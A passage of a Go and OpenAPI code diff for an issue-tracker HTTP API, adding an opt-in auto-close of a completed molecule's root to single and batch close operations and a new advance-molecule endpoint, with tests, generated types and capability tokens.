newCloseServer(t, lifecycle) + resp = ts.closeIssue(t, closePath, `{"actor":"alice"}`) + if got := lifecycle.closeRequests(); len(got) != 1 || got[0].AutoCloseMolecule { + t.Fatalf("an absent member reached the role as %+v, want AutoCloseMolecule unset (opt-in)", got) + } + body = decodeBody(t, resp) + if body["molecule_auto_close_refusal"] != "cannot close blocked issue" { + t.Errorf("molecule_auto_close_refusal = %v, want the refusal", body["molecule_auto_close_refusal"]) + } + if _, ok := body["auto_closed_molecule"]; ok { + t.Errorf("auto_closed_molecule present with nothing auto-closed: %v", body) + } +} + +func TestBatchCloseForwardsAutoCloseMoleculeAndReportsItPerItem(t *testing.T) { + closer := &roleBatchCloser{result: issueops.CloseBatchResult{Outcomes: []issueops.CloseOutcome{ + {IssueID: "bd-1", Issue: closedIssue("bd-1"), Changed: true}, + {IssueID: "bd-2", Issue: closedIssue("bd-2"), Changed: true, AutoClosedMolecule: closedIssue("bd-root")}, + }}} + ts := newBatchCloseServer(t, closer) + resp := ts.batchClose(t, `{"actor":"alice","items":[{"id":"bd-1"},{"id":"bd-2"}],"auto_close_molecule":true}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + closer.mu.Lock() + requests := append([]issueops.CloseBatchRequest(nil), closer.requests...) + closer.mu.Unlock() + if len(requests) != 1 || !requests[0].AutoCloseMolecule { + t.Fatalf("the role received %+v, want AutoCloseMolecule set", requests) + } + outcomes := outcomesOf(t, resp) + if _, ok := outcomes[0]["auto_closed_molecule"]; ok { + t.Errorf("outcome 0 = %v, want no auto-closed root", outcomes[0]) + } + auto, _ := outcomes[1]["auto_closed_molecule"].(map[string]any) + if auto["id"] != "bd-root" { + t.Errorf("outcome 1 auto_closed_molecule = %v, want bd-root", outcomes[1]["auto_closed_molecule"]) + } +} diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index afd6eedff..65380e5a8 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -321,6 +321,33 @@ type AddDependenciesResponse struct { Added []DependencyEdge `json:"added"` } +// AdvanceMoleculeRequest defines model for AdvanceMoleculeRequest. +type AdvanceMoleculeRequest struct { + // Actor Who advances, and with `auto_claim` the claimed step's assignee. `ClaimRequest.actor`'s rules exactly. + Actor string `json:"actor"` + + // AutoClaim Claim the next ready step for `actor`. Without it the operation writes nothing and only names the step. + AutoClaim *bool `json:"auto_claim,omitempty"` +} + +// AdvanceMoleculeResponse defines model for AdvanceMoleculeResponse. +type AdvanceMoleculeResponse struct { + // Claimed `next_step` was claimed for `actor`, and is the post-claim row. + Claimed bool `json:"claimed"` + + // ClosedStep A tracked work item. Property semantics documented here apply to every schema that repeats them below. + ClosedStep Issue `json:"closed_step"` + + // Complete Every step of the molecule is closed; `next_step` is then absent. + Complete bool `json:"complete"` + + // MoleculeId The step's molecule root. ABSENT when the step belongs to no molecule, and then nothing else below is set. + MoleculeId *string `json:"molecule_id,omitempty"` + + // NextStep A tracked work item. Property semantics documented here apply to every schema that repeats them below. + NextStep *Issue `json:"next_step,omitempty"` +} + // AnchorEdgeCount One anchor's edge cardinality, or the report that it is not there. type AnchorEdgeCount struct { // Count How many stored edges match, in the requested direction, after the type and status filters. Never negative. @@ -764,6 +791,11 @@ type BatchCloseRequest struct { // Actor Who is closing. `ClaimRequest.actor`'s rules exactly, and the value is recorded against every item. Actor string `json:"actor"` + // AutoCloseMolecule Behind the `issues.close.autoCloseMolecule` behavior token: an older server answers `unknown_parameter` for this name. + // + // Close each item's molecule root when the batch completed it: `CloseIssueRequest.auto_close_molecule` for every item that closed or was already closed, run after all the closes inside the same transaction. A batch that closes several steps of one molecule decides its root once, and the root it closed, or its refusal, is reported on the outcome of the first successful item under that root. + AutoCloseMolecule *bool `json:"auto_close_molecule,omitempty"` + // Force Bypass close policy — the open-children refusal and the live-blocker refusal — and the pin and the assignee guard for EVERY item, and nothing else. It never bypasses the template guard or validation, and it never bypasses existence: an id that names nothing refuses whether or not this is set. It is request-wide because the flag that spells it is. Force *bool `json:"force,omitempty"` @@ -920,6 +952,13 @@ type CloseIssueRequest struct { // Actor Who is closing the issue. `ClaimRequest.actor`'s rules exactly: the server trims it, then refuses an empty result, anything longer than 256 BYTES (the `maxLength` above counts characters — the byte limit is the binding one), and any control character including newline. The value reaches stored columns, event-stream attribution and the storage commit message, so an unvalidated newline would forge audit-trail lines. Actor string `json:"actor"` + // AutoCloseMolecule Behind the `issues.close.autoCloseMolecule` behavior token: an older server answers `unknown_parameter` for this name, and a client checks the token before sending it. + // + // Close the issue's molecule root IN THE SAME TRANSACTION when this close completed it: the root is an auto-closing molecule root (a `molecule`-typed or ephemeral root, or a template-labeled epic), it is open, and every step under it is now closed. The root close is unforced, guarded on the root revision read inside that transaction, and records `all steps complete` and this request's `session`. It runs for an idempotent re-close too, so replaying the close of a molecule's last step heals a root left open. + // + // OPT-IN, because an orchestrator may run its own molecule lifecycle. A root that its close policy refuses (a live blocker) or a close guard refuses (a template, a pinned root, a root assigned to another actor) stays open, is named in `molecule_auto_close_refusal`, and never fails this close. Any other failure of the root close, such as a storage error, fails this close with it. + AutoCloseMolecule *bool `json:"auto_close_molecule,omitempty"` + // ExpectedVersion Requires the row's revision to equal this value BEFORE the close. A miss refuses the whole request with `409 precondition_failed` and writes nothing — `UpdateIssueRequest.expected_version`'s contract, on the operation that closes one row. // // IT IS CHECKED BEFORE THE IDEMPOTENT RE-CLOSE, which is the one place this guard differs from the update's. A re-close of a row somebody else has moved since the caller read it is a `409` and not the 200-with-`already_closed` the same body earns without a guard: a replay whose premise has expired is a refusal the caller wants to see, and it is the only way `already_closed` can be trusted as "nothing has happened here since". @@ -946,9 +985,15 @@ type CloseIssueResponse struct { // AlreadyClosed True when the issue was already closed and this call changed nothing — the idempotent re-close, mirroring `ClaimResponse.already_claimed`. The response still carries the row, and `reason`/`session` were not rewritten. AlreadyClosed bool `json:"already_closed"` + // AutoClosedMolecule A tracked work item. Property semantics documented here apply to every schema that repeats them below. + AutoClosedMolecule *Issue `json:"auto_closed_molecule,omitempty"` + // Issue A tracked work item. Property semantics documented here apply to every schema that repeats them below. Issue Issue `json:"issue"` + // MoleculeAutoCloseRefusal With `issues.close.autoCloseMolecule` and `auto_close_molecule`: why the molecule root this close completed stayed open — the root's own close policy refused it (a live blocker on the root), or a close guard did (a template, a pinned root, a root assigned to another actor). Prose; absent when nothing was refused. `auto_closed_molecule`, beside it, is the root the close also closed, absent when none was. + MoleculeAutoCloseRefusal *string `json:"molecule_auto_close_refusal,omitempty"` + // OpenChildren How many open children the close observed. Reported by a FORCED close — including an idempotent re-close — because a caller that bypassed the guard is exactly the caller that wants the number. An unforced close that got this far had none, so it reports 0. OpenChildren int `json:"open_children"` @@ -972,6 +1017,9 @@ type CloseOutcome struct { // Assignee With `not_assignee`: the issue's assignee the refusing transaction observed, exactly as `Problem.assignee` carries it for the single close. Absent on a successful item and on every other refusal. Assignee *string `json:"assignee,omitempty"` + // AutoClosedMolecule A tracked work item. Property semantics documented here apply to every schema that repeats them below. + AutoClosedMolecule *Issue `json:"auto_closed_molecule,omitempty"` + // Blockers With `not_closable` on the live-blocker refusal: the blockers that refused THIS item, exactly as `Problem.blockers` carries them for the single close, and optional for the same reason. Absent on a successful item and on every other refusal. Blockers *[]Blocker `json:"blockers,omitempty"` @@ -989,6 +1037,9 @@ type CloseOutcome struct { // IssueId The id the caller asked for, echoed verbatim so an outcome can be read without indexing back into the request. IssueId string `json:"issue_id"` + // MoleculeAutoCloseRefusal `CloseIssueResponse.molecule_auto_close_refusal` for this item, under `issues.close.autoCloseMolecule`; `auto_closed_molecule` beside it is `CloseIssueResponse.auto_closed_molecule`. Present only on a successful item. + MoleculeAutoCloseRefusal *string `json:"molecule_auto_close_refusal,omitempty"` + // OpenChildren How many open children the transaction observed for this item. // // ITS MEANING FOLLOWS `code`, and both readings are the ones the single close already publishes. On a SUCCESSFUL item it is always present and is `CloseIssueResponse.open_children` — the number a forced close bypassed, reported even for an idempotent re-close, and `0` for an unforced close that got that far. On a REFUSED item its PRESENCE is the discriminator between the two `not_closable` refusals, exactly as it is on a problem document: present means open children, absent means a live blocker. @@ -1050,7 +1101,7 @@ type ContextResponse struct { // OPTIONAL, and absent means only that this server does not disclose its filesystem layout — never that it has no workspace. A client MUST NOT require it, MUST NOT treat absence as an error, and has no use for the value beyond display: it is a path on the SERVER's filesystem, which the client cannot open. Identify the workspace by `project_id` and `database`, which are required. BeadsDir *string `json:"beads_dir,omitempty"` - // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.reclaim`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`, and `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than a `400` naming the member unknown, and `issues.update.allowTemplate`, which announces that `PATCH /v0/beads/issues/{id}` accepts `allow_template` (see `UpdateIssueRequest`) rather than a `400` naming the member unknown, and `issues.create.defaultPriority`, which announces that a create (`POST /v0/beads/issues`, `issues:batchCreate` and `issues:batchApply` create items) with no `priority` member stores the default P2 rather than P0. One behavior token is CONDITIONAL rather than build-level: `policy.external_dependencies` announces that this server's ready, claim, claim-next, close, blocking and dependency-tree operations already apply bd's external-dependency policy (an issue blocked by an unsatisfied `external::` dependency is neither ready, claimable nor closable without force). A server advertises it only when it enforces that policy; a client that sees it must not apply the policy again, and a client that does not see it applies the policy itself. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. + // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.reclaim`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`, `issues.advanceMolecule`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`, and `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than a `400` naming the member unknown, and `issues.update.allowTemplate`, which announces that `PATCH /v0/beads/issues/{id}` accepts `allow_template` (see `UpdateIssueRequest`) rather than a `400` naming the member unknown, and `issues.create.defaultPriority`, which announces that a create (`POST /v0/beads/issues`, `issues:batchCreate` and `issues:batchApply` create items) with no `priority` member stores the default P2 rather than P0, and `issues.close.autoCloseMolecule`, which announces that `POST /v0/beads/issues/{id}:close` and `POST /v0/beads/issues:batchClose` accept `auto_close_molecule` and answer `auto_closed_molecule` and `molecule_auto_close_refusal` rather than a `400` naming the member unknown. One behavior token is CONDITIONAL rather than build-level: `policy.external_dependencies` announces that this server's ready, claim, claim-next, close, blocking and dependency-tree operations already apply bd's external-dependency policy (an issue blocked by an unsatisfied `external::` dependency is neither ready, claimable nor closable without force). A server advertises it only when it enforces that policy; a client that sees it must not apply the policy again, and a client that does not see it applies the policy itself. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. // // THIS LIST IS BUILD-LEVEL, NOT WORKSPACE-LEVEL, apart from the conditional `policy.external_dependencies` above, which depends on how this server composed its roles rather than on the build. It says which operations this binary serves, and for every entry but two that is the whole answer. `events.list` and `events.watch` are the exceptions: the durable events journal is a per-workspace setting that is OFF by default, so a server that advertises them may still refuse every request to both with 409 `events_journal_disabled` — correctly, because the operations exist and the workspace has no journal. A consumer of either MUST treat the capability as "this server speaks it" and the 409 as "not on this workspace", and must not read the capability as a promise that records will arrive. Capabilities []string `json:"capabilities"` @@ -2804,6 +2855,9 @@ type UpdateIssueJSONRequestBody = UpdateIssueRequest // AddCommentJSONRequestBody defines body for AddComment for application/json ContentType. type AddCommentJSONRequestBody = AddCommentRequest +// AdvanceMoleculeJSONRequestBody defines body for AdvanceMolecule for application/json ContentType. +type AdvanceMoleculeJSONRequestBody = AdvanceMoleculeRequest + // CompareAndSetMetadataJSONRequestBody defines body for CompareAndSetMetadata for application/json ContentType. type CompareAndSetMetadataJSONRequestBody = CompareAndSetMetadataRequest diff --git a/internal/httpapi/batch_close.go b/internal/httpapi/batch_close.go index d28bea778..abcc4aaf7 100644 --- a/internal/httpapi/batch_close.go +++ b/internal/httpapi/batch_close.go @@ -31,7 +31,7 @@ const ( // lists at each level, refused BY NAME for the reason every other body on this // surface is. var ( - batchCloseRequestMembers = []string{claimActorMember, "items", "session", "force"} + batchCloseRequestMembers = []string{claimActorMember, "items", "session", "force", autoCloseMoleculeMember} batchCloseItemMembers = []string{"id", "reason"} ) @@ -114,6 +114,8 @@ func closeOutcome(outcome issueops.CloseOutcome) apigen.CloseOutcome { if issue != nil { wire.Issue = issue } + wire.AutoClosedMolecule = outcome.AutoClosedMolecule + wire.MoleculeAutoCloseRefusal = optionalString(outcome.MoleculeAutoCloseRefusal) return wire } @@ -184,6 +186,10 @@ func (s *Server) batchCloseRequest(w http.ResponseWriter, r *http.Request) (issu if !ok { return issueops.CloseBatchRequest{}, false } + autoCloseMolecule, ok := s.booleanMember(w, r, members, autoCloseMoleculeMember) + if !ok { + return issueops.CloseBatchRequest{}, false + } items, ok := s.batchCloseItems(w, r, members) if !ok { return issueops.CloseBatchRequest{}, false @@ -192,10 +198,11 @@ func (s *Server) batchCloseRequest(w http.ResponseWriter, r *http.Request) (issu // need a second, body-shaped spelling of the ready-filter vocabulary that // listReadyWork and claimNext both express as query parameters. return issueops.CloseBatchRequest{ - Actor: actor, - Items: items, - Session: session, - Force: force, + Actor: actor, + Items: items, + Session: session, + Force: force, + AutoCloseMolecule: autoCloseMolecule, }, true } diff --git a/internal/httpapi/claim.go b/internal/httpapi/claim.go index 5b5db6326..92368aea7 100644 --- a/internal/httpapi/claim.go +++ b/internal/httpapi/claim.go @@ -340,6 +340,7 @@ type timedProvider struct { var ( _ uow.IssueReaderSource = timedProvider{} _ uow.IssueClaimerSource = timedProvider{} + _ uow.MoleculeStepperSource = timedProvider{} _ uow.BatchCloserSource = timedProvider{} _ uow.ReadyClaimerSource = timedProvider{} _ uow.ReleaserSource = timedProvider{} @@ -481,6 +482,12 @@ func (p timedProvider) LeaseReclaimer() (issueops.LeaseReclaimer, error) { return uow.NewLeaseReclaimer(p) } +// MoleculeStepper builds the advance-a-molecule role OVER THIS WRAPPER, so +// every read and the claim it composes go through this wrapper's roles. +func (p timedProvider) MoleculeStepper() (issueops.MoleculeStepper, error) { + return uow.NewMoleculeStepper(p) +} + // IssueRelations builds the single-anchor neighbor role OVER THIS WRAPPER, for // the same reason and with the same hazard as IssueReader. It is the one // accessor here whose name is not the role's: the seam spells it IssueRelations diff --git a/internal/httpapi/close.go b/internal/httpapi/close.go index 0c1549029..bdd0ba0e8 100644 --- a/internal/httpapi/close.go +++ b/internal/httpapi/close.go @@ -17,7 +17,11 @@ import ( // schema is additionalProperties: false, so anything else is refused BY NAME — // which is why the body is decoded as raw members first, the posture claim and // batchCreate already take. -var closeRequestMembers = []string{"actor", "reason", "session", "force", expectedVersionMember} +var closeRequestMembers = []string{"actor", "reason", "session", "force", expectedVersionMember, autoCloseMoleculeMember} + +// autoCloseMoleculeMember is the request member behind +// CapIssuesCloseAutoCloseMolecule, shared by the single and the batch close. +const autoCloseMoleculeMember = "auto_close_molecule" // handleClose closes one issue: the second half of the loop this surface exists // to serve, and the half that still forked a subprocess. @@ -73,10 +77,12 @@ func (s *Server) handleClose(w http.ResponseWriter, r *http.Request) { // fill. types.Issue.RowVersion is `json:"-"`, so the Issue body cannot carry // it and this member is where it lives — updateIssue's arrangement exactly. writeJSON(w, apigen.CloseIssueResponse{ - Issue: *result.Issue, - AlreadyClosed: !result.Changed, - OpenChildren: result.OpenChildren, - Revision: types.RevisionToken(result.Issue.RowVersion), + Issue: *result.Issue, + AlreadyClosed: !result.Changed, + OpenChildren: result.OpenChildren, + Revision: types.RevisionToken(result.Issue.RowVersion), + AutoClosedMolecule: result.AutoClosedMolecule, + MoleculeAutoCloseRefusal: optionalString(result.MoleculeAutoCloseRefusal), }) } @@ -118,14 +124,19 @@ func (s *Server) closeRequest(w http.ResponseWriter, r *http.Request, id string) s.fail(w, r, *res) return issueops.CloseRequest{}, false } + autoCloseMolecule, ok := s.booleanMember(w, r, members, autoCloseMoleculeMember) + if !ok { + return issueops.CloseRequest{}, false + } return issueops.CloseRequest{ - Actor: actor, - IssueID: id, - Reason: reason, - Session: session, - Force: force, - ExpectedVersion: expectedVersion, + Actor: actor, + IssueID: id, + Reason: reason, + Session: session, + Force: force, + ExpectedVersion: expectedVersion, + AutoCloseMolecule: autoCloseMolecule, }, true } @@ -284,3 +295,11 @@ func versionPreconditionResult(expected *int64) Result { // the three operations that publish it so the member name a client reads off // `param` cannot drift from the member name it sent. const expectedVersionMember = "expected_version" + +// optionalString spells "" as an absent member. +func optionalString(value string) *string { + if value == "" { + return nil + } + return &value +} diff --git a/internal/httpapi/problem.go b/internal/httpapi/problem.go index fc1a38b4a..fb71323f7 100644 --- a/internal/httpapi/problem.go +++ b/internal/httpapi/problem.go @@ -443,6 +443,9 @@ const ( // the reason and session under first-close-wins, the done-status // normalization, and the close policy vocabulary. OpCloseIssue = "closeIssue" + // OpAdvanceMolecule moves a molecule on after one of its steps closed: the + // operation behind `bd close --continue` (issueops.MoleculeStepper). + OpAdvanceMolecule = "advanceMolecule" // OpReopenIssue is the close's mirror, and it completes the lifecycle pair // so a recovery flow works end to end over this surface. It is the one write // here with no POLICY conflict code: reopen takes an issue OUT of the done @@ -899,6 +902,13 @@ var operationCodes = map[string][]Code{ CodeTemplateReadOnly, CodeIssuePinned, CodeNotAssignee, CodeBusy, CodeDBUnavailable, CodeInternal, }, + // No conflict code: a ready step another actor holds, or one moved out of + // a claimable status, is skipped for the next one rather than refused — + // the role's own rule — so the only 404 is the path id's. + OpAdvanceMolecule: { + CodeInvalidArgument, CodeUnauthenticated, CodeNotFound, + CodeBusy, CodeDBUnavailable, CodeInternal, + }, // ONE 409, and it is a PRECONDITION rather than a policy. Close has a policy // guard — open children, a live blocker — and reopen is the direction that // takes an issue OUT of the done category rather than putting it in, so diff --git a/internal/httpapi/routes.go b/internal/httpapi/routes.go index 7060cdd51..e4f6519cc 100644 --- a/internal/httpapi/routes.go +++ b/internal/httpapi/routes.go @@ -204,6 +204,16 @@ const CapExternalDependencies = "policy.external_dependencies" // lists them; advertisedCapabilities adds each one whose condition holds. var conditionalCapabilities = []string{CapExternalDependencies} +// CapIssuesCloseAutoCloseMolecule is the behavior capability that advertises +// CloseIssueRequest.auto_close_molecule and BatchCloseRequest.auto_close_molecule +// with their paired response members (auto_closed_molecule, +// molecule_auto_close_refusal): close a completed molecule's root in the same +// transaction as the step close (issueops.CloseRequest.AutoCloseMolecule). An +// older server answers the request member with `400 +// invalid_argument`/`unknown_parameter`; the client checks this token before +// sending it. +const CapIssuesCloseAutoCloseMolecule = "issues.close.autoCloseMolecule" + // customMethodTarget splits the custom method off the segment the router // matched, and reports the row that claims it. // @@ -759,6 +769,16 @@ var routeTable = []route{ implemented: true, handler: (*Server).handleReopen, }, + { + op: OpAdvanceMolecule, + method: http.MethodPost, + pattern: customMethodPattern, + specPath: "/v0/beads/issues/{id}:advanceMolecule", + customMethod: ":advanceMolecule", + capability: "issues.advanceMolecule", + implemented: true, + handler: (*Server).handleAdvanceMolecule, + }, { op: OpBatchCloseIssues, method: http.MethodPost, @@ -966,6 +986,7 @@ var behaviorCapabilities = []string{ CapProjectEnforce, CapBatchApplyLarge, CapIssuesListSort, CapIssuesCountScope, CapIssuesSweepWispsPlane, CapIssuesSweepLiveDependents, CapIssuesSweepLimit, CapBatchApplyDepAddLineage, CapIssuesUpdateAllowTemplate, CapIssuesCreateDefaultPriority, + CapIssuesCloseAutoCloseMolecule, } // Capabilities lists what this build advertises in ContextResponse.capabilities: diff --git a/internal/httpapi/server.go b/internal/httpapi/server.go index 4a1791b45..c4e72600a 100644 --- a/internal/httpapi/server.go +++ b/internal/httpapi/server.go @@ -2408,3 +2408,23 @@ func logValue(v any) string { func millis(d time.Duration) string { return strconv.FormatFloat(float64(d)/float64(time.Millisecond), 'f', 3, 64) } + +// moleculeStepper returns the advance-a-molecule surface for one request. +// +// On the store-shaped source there is no configured field for it: the role is +// issueops.NewMoleculeStepper composed over roles the source already carries +// (batch getter, relations, edge reader, claimer, lifecycle), so building it +// here from those is the same composition a store's own accessor makes. On the +// provider it is built over the timed wrapper, the same two-step every role +// above performs. +func (s *Server) moleculeStepper(r *http.Request) (issueops.MoleculeStepper, error) { + if s.provider == nil { + return issueops.NewMoleculeStepper(issueops.MoleculeStepperRoles{ + Reader: issueops.MoleculeReader{BatchGetter: s.issueBatchGetter, Relations: s.issueRelations, EdgeReader: s.issueEdges}, + Claimer: checkedClaimer{inner: s.issueClaimer}, + Lifecycle: checkedLifecycle{inner: s.issueLifecycle}, + }), nil + } + var src uow.MoleculeStepperSource = timedProvider{inner: s.provider, rec: requestInfo(r.Context())} + return src.MoleculeStepper() +} diff --git a/internal/httpapi/server_test.go b/internal/httpapi/server_test.go index 0170ebb61..7210f3d98 100644 --- a/internal/httpapi/server_test.go +++ b/internal/httpapi/server_test.go @@ -637,7 +637,8 @@ func TestCapabilitiesAdvertiseEveryImplementedOperation(t *testing.T) { // oracle rather than a second call to the code under test. want = append(want, "project.enforce", "issues.batchApplyLarge", "issues.list.sort", "issues.count.scope", "issues.sweep.wispsPlane", "issues.sweep.liveDependents", "issues.sweep.limit", - "issues.batchApply.depAddLineage", "issues.update.allowTemplate", "issues.create.defaultPriority") + "issues.batchApply.depAddLineage", "issues.update.allowTemplate", "issues.create.defaultPriority", + "issues.close.autoCloseMolecule") slices.Sort(want) if !slices.Equal(got, want) { t.Errorf("capabilities = %v, want %v", got, want) diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index d95723cb0..8dc0099d6 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -3340,6 +3340,64 @@ paths: '503': $ref: '#/components/responses/Unavailable' + /v0/beads/issues/{id}:advanceMolecule: + post: + operationId: advanceMolecule + summary: Advance a molecule to its next ready step + description: >- + The operation behind `bd close --continue`: after the step this path + names closed, find where its molecule stands and, with `auto_claim`, + claim the next ready step for `actor`. + + + A step is READY when it is open and no open step of the same molecule + blocks it (blocks, conditional-blocks or waits-for). The claim is a + real claim — the step's assignee becomes `actor` — and a step another + actor holds is skipped, never taken: a ready step lost that way, or one + moved out of a claimable status since it was read, falls through to + the next ready step. When every ready step is lost nothing is claimed + and `next_step` names the first. + + + A step in no molecule answers 200 with no `molecule_id`. A step id that + names nothing is `404`. + parameters: + - $ref: '#/components/parameters/IssueID' + requestBody: + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/AdvanceMoleculeRequest' + security: + - bearerToken: [] + responses: + '200': + description: Where the molecule stands, and what was claimed. + content: + application/json: + schema: + $ref: '#/components/schemas/AdvanceMoleculeResponse' + '400': + description: >- + Invalid request: an unknown query parameter, an unparseable or + oversized body, an unknown body member, or an `actor` that is empty + after trimming, longer than 256 bytes, or carrying control + characters. + x-bd-codes: [invalid_argument] + content: + application/problem+json: + schema: + $ref: '#/components/schemas/Problem' + '401': + $ref: '#/components/responses/Unauthenticated' + '404': + $ref: '#/components/responses/NotFound' + '500': + $ref: '#/components/responses/InternalError' + '503': + $ref: '#/components/responses/Unavailable' + /v0/beads/issues/{id}:reopen: post: operationId: reopenIssue @@ -8104,7 +8162,8 @@ components: `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, - `issues.casMetadata`; the behavior tokens are `project.enforce`, + `issues.casMetadata`, `issues.advanceMolecule`; the behavior + tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that @@ -8148,7 +8207,13 @@ components: `issues.create.defaultPriority`, which announces that a create (`POST /v0/beads/issues`, `issues:batchCreate` and `issues:batchApply` create items) with no `priority` member stores - the default P2 rather than P0. One behavior token is + the default P2 rather than P0, and + `issues.close.autoCloseMolecule`, which announces that + `POST /v0/beads/issues/{id}:close` and + `POST /v0/beads/issues:batchClose` accept `auto_close_molecule` + and answer `auto_closed_molecule` and + `molecule_auto_close_refusal` rather than a `400` naming the + member unknown. One behavior token is CONDITIONAL rather than build-level: `policy.external_dependencies` announces that this server's ready, claim, claim-next, close, blocking and dependency-tree operations already apply bd's @@ -11155,6 +11220,21 @@ components: and it never bypasses existence: an id that names nothing refuses whether or not this is set. It is request-wide because the flag that spells it is. + auto_close_molecule: + type: boolean + default: false + description: >- + Behind the `issues.close.autoCloseMolecule` behavior token: an + older server answers `unknown_parameter` for this name. + + + Close each item's molecule root when the batch completed it: + `CloseIssueRequest.auto_close_molecule` for every item that closed + or was already closed, run after all the closes inside the same + transaction. A batch that closes several steps of one molecule + decides its root once, and the root it closed, or its refusal, is + reported on the outcome of the first successful item under that + root. BatchCloseItem: type: object @@ -11276,6 +11356,15 @@ components: Prose for a refusal, never load-bearing and present only with `code`. It reflects the request and this server's own words rather than the role's message, for the reason `Problem.detail` gives. + auto_closed_molecule: + $ref: '#/components/schemas/Issue' + molecule_auto_close_refusal: + type: string + description: >- + `CloseIssueResponse.molecule_auto_close_refusal` for this item, + under `issues.close.autoCloseMolecule`; `auto_closed_molecule` + beside it is `CloseIssueResponse.auto_closed_molecule`. Present + only on a successful item. Blocker: type: object @@ -11302,6 +11391,47 @@ components: `conditional-blocks`). ABSENT when the refusal did not report it, which is the case for an `external:` blocker. + AdvanceMoleculeRequest: + type: object + additionalProperties: false + required: 